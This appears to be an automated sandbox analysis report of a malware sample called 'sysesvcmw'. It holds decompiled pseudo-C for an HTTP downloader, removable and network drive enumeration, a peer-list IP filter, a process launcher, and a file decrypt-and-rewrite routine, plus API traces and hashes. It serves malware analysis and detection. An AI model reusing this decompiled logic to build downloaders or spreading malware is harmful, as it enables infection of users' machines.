						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408B60(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040C288
InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
memcpy.NTDLL(00000000,?,00000000), ref: 0040C41A
InternetCloseHandle.WININET(00000000), ref: 0040C457
InternetCloseHandle.WININET(00000000), ref: 0040C464
InternetCloseHandle.WININET(00000000), ref: 0040C471

Strings

<, xrefs: 0040C290
GET, xrefs: 0040C34B

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction ID: fb11e20dfced737966d96b67562c2227f08ee783dca279ae1717ab20ae365a52
Opcode Fuzzy Hash: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction Fuzzy Hash: 44513EB1941228ABDB36CB50CC95BE973BCBB44705F0081E9A60DAA2C0D7B96FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E004054A0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8);
				GetModuleFileNameW(0, 0x4163c0, 0x104);
				_t34 = E0040D180(0x4163c0);
				_t69 = _t68 + 4;
				 *0x4163b8 = _t34;
				while(1 != 0) {
					_v8 = E00404CB0();
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404C50(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040EE10();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404FC0( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0);
				}
				ExitThread(0);
			}

APIs

Sleep.KERNEL32(000003E8), ref: 004054AE
GetModuleFileNameW.KERNEL32(00000000,004163C0,00000104), ref: 004054C0

Part of subcall function 0040D180: CreateFileW.KERNEL32(004054D0,80000000,00000001,00000000,00000003,00000000,00000000,004054D0), ref: 0040D1A0
Part of subcall function 0040D180: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
Part of subcall function 0040D180: CloseHandle.KERNEL32(000000FF), ref: 0040D1C2

ExitThread.KERNEL32 ref: 0040562A

Part of subcall function 00404CB0: GetLogicalDrives.KERNEL32 ref: 00404CB6
Part of subcall function 00404CB0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404D04
Part of subcall function 00404CB0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
Part of subcall function 00404CB0: RegCloseKey.ADVAPI32(?), ref: 00404D4E

Sleep.KERNEL32(000007D0), ref: 0040561D

Part of subcall function 00404C50: lstrcpyW.KERNEL32(?,?), ref: 00404CA3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040555F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00405574
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040558F
wsprintfW.USER32 ref: 004055A2
wsprintfW.USER32 ref: 004055C2
wsprintfW.USER32 ref: 004055E5

Strings

(%dGB), xrefs: 00405596
Unnamed volume, xrefs: 004055B6
%s%s, xrefs: 004055D9

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction ID: 9bd4fa2fb620ac2810ea8b244f600aa7f59dc27fdf478d4548bf3fce0c8904cf
Opcode Fuzzy Hash: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction Fuzzy Hash: 0D418371900208BBE714DB94DC45FEE7778AB48700F1085AAF209B61D0DA799B84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00409A30 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409A30(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409770(_a4);
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004094E0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004094E0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x416df4);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x416e2c; // 0x0
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x416e30 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BE60();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409980(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x416df4);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x416e2c - 0x200;
							if( *0x416e2c == 0x200) {
								_v13 = 1;
							}
							_t57 = E00408B00(0xc);
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BE60() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x416e2c; // 0x0
									_t60 = _v20;
									 *((intOrPtr*)(0x416e30 + _t89 * 4)) = _v20;
									_t77 =  *0x416e2c; // 0x0
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x416e2c = _t78;
									L25:
									_t57 = E00409980(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409660(_t57);
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x416e2c; // 0x0
									__eflags =  *(0x416e2c[_t61]);
									if( *(0x416e2c[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x416e2c; // 0x0
								 *(0x416e2c[_t91]) = 1;
								_t80 =  *0x416e2c; // 0x0
								E00408C70(0x416e2c[_t80]);
								_t60 =  *0x416e2c; // 0x0
								0x416e2c[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004094E0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004094E0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004094E0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004094E0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}

APIs

Part of subcall function 00409770: gethostname.WS2_32(?,00000100), ref: 0040978C
Part of subcall function 00409770: gethostbyname.WS2_32(?), ref: 0040979E

strstr.NTDLL ref: 00409A60
strstr.NTDLL ref: 00409A7E
strstr.NTDLL ref: 00409A9C

Strings

.10., xrefs: 00409AE9
.127, xrefs: 00409A6C
10., xrefs: 00409AAD
.127., xrefs: 00409A8A
127., xrefs: 00409A4E
.10, xrefs: 00409ACB

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: strstr$gethostbynamegethostname
String ID: .10$.10.$.127$.127.$10.$127.
API String ID: 2540993189-3303897403
Opcode ID: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction ID: 3df5601b161af7dea13d6a0229968f945e0e067b118b08783a6fcb5bdca65d6d
Opcode Fuzzy Hash: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction Fuzzy Hash: AC51B4B8E043449BDB04EB61E841BAA7BB5AB44308F04C53EE904673C2D67EE951CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC90 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BC90(LONG* _a4, intOrPtr _a8) {
				int _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				SetThreadPriority(GetCurrentThread(), _v8);
				return _v12;
			}

APIs

GetCurrentThread.KERNEL32 ref: 0040BC96
GetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC9D
GetCurrentThread.KERNEL32 ref: 0040BCA8
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCAF
InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BCD2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040BD07
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BD52
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BD6E
Sleep.KERNEL32(00000001), ref: 0040BD9E
GetCurrentThread.KERNEL32 ref: 0040BDAD
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF), ref: 0040BDB4

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction ID: 7471dcba010468c66186aef50ce52d9a71631389d56eaee9496ec156eb60796e
Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction Fuzzy Hash: E7414E74D00209EFDB14CFA4D848BAEBB75FF44305F20C16AE906A7380D7789A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409D40() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				intOrPtr _t41;
				void* _t74;

				InitializeCriticalSection(0x416df4);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409A30( *((intOrPtr*)(0x4143b8 + _v12 * 4)), E0040BE60(), 0);
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_v8 = CreateFileW(0x416be8, 0x80000000, 0, 0, 3, 0, 0);
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409A30( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BE60() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8);
				}
				E00409750();
				_t41 =  *0x416e10; // 0x0
				return E0040BBA0(_t41, 0, E00409620, 0, 0, 0);
			}

APIs

InitializeCriticalSection.KERNEL32(00416DF4,?,?,?,?,?,?,00406559), ref: 00409D4B
CreateFileW.KERNEL32(00416BE8,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409D9D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409DBE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409DDD
GetFileSize.KERNEL32(000000FF,00000000), ref: 00409DF2
UnmapViewOfFile.KERNEL32(00000000), ref: 00409E58
CloseHandle.KERNEL32(00000000), ref: 00409E62
CloseHandle.KERNEL32(000000FF), ref: 00409E6C

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Strings

Ye@, xrefs: 00409DEE, 00409DBA, 00409E68

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: Ye@
API String ID: 439099756-4068086367
Opcode ID: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction ID: 4dce5e276bdf20b80a38771717a09593e8b4a8e5598cf30a42ed89e5f557a98d
Opcode Fuzzy Hash: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction Fuzzy Hash: F4413F74E40308BBDB10DBA4DC4ABAEB774AB44704F208569F611772C2C7B96941CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D390(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406227
				if(CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24) != 1) {
					_t12 =  &_a4; // 0x406227
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8);
				return 1;
			}

0x0040d39e
0x0040d3a8
0x0040d3ab
0x0040d3ae
0x0040d3b1
0x0040d3b4
0x0040d3bb
0x0040d3c7
0x0040d3df
0x0040d3ee
0x0040d405
0x0040d416
0x0040d41c
0x0040d423
0x00000000
0x0040d434
0x0040d42a
0x00000000
0x0040d430
0x0040d3f5
0x00000000

APIs

memset.NTDLL ref: 0040D39E
CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Sleep.KERNEL32(000003E8), ref: 0040D3F5
ShellExecuteW.SHELL32(00000000,open,'b@,00000000,00000000,00000000), ref: 0040D410
Sleep.KERNEL32(000003E8), ref: 0040D42A

Strings

open, xrefs: 0040D409
D, xrefs: 0040D3B4
, xrefs: 0040D41F
'b@, xrefs: 0040D3DF, 0040D405, 0040D3E2, 0040D408

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$CreateExecuteProcessShellmemset
String ID: $'b@$D$open
API String ID: 2222793131-3177583149
Opcode ID: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction ID: b11808ad886c3be21141a941b9f16766042708721ad172ccf90be75e59fbd376
Opcode Fuzzy Hash: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction Fuzzy Hash: E211FE71E4430CBBEB14DF94DC46BDE7774AB18700F20412AFA09BA2C0D6B55A448B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1D0 Relevance: 15.1, APIs: 10, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D1D0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_v16 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0);
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_v16 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0);
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0);
							CloseHandle(_v16);
						}
						E00408C70(_v8);
					}
					return _v21;
				}
				_v28 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0);
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v32 = MapViewOfFile(_v28, 4, 0, 0, 0);
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B1E0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AB80(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12);
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004094C0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408C70(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040D309
CloseHandle.KERNEL32(00000000), ref: 0040D313
CloseHandle.KERNEL32(000000FF), ref: 0040D31D
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D33C
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D361
CloseHandle.KERNEL32(000000FF), ref: 0040D36B

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
String ID:
API String ID: 171974401-0
Opcode ID: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction ID: 3921fc4700ee4b190ae2af8b7d894abc0534e186cae3a84a50511f4350192fbd
Opcode Fuzzy Hash: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction Fuzzy Hash: 97512CB5E00208FBDB14DFE4CC59BEEBB74AB48704F208569E611772C0D7B96A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E840 Relevance: 13.6, APIs: 9, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040E840(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BE60());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E220(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E5C0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
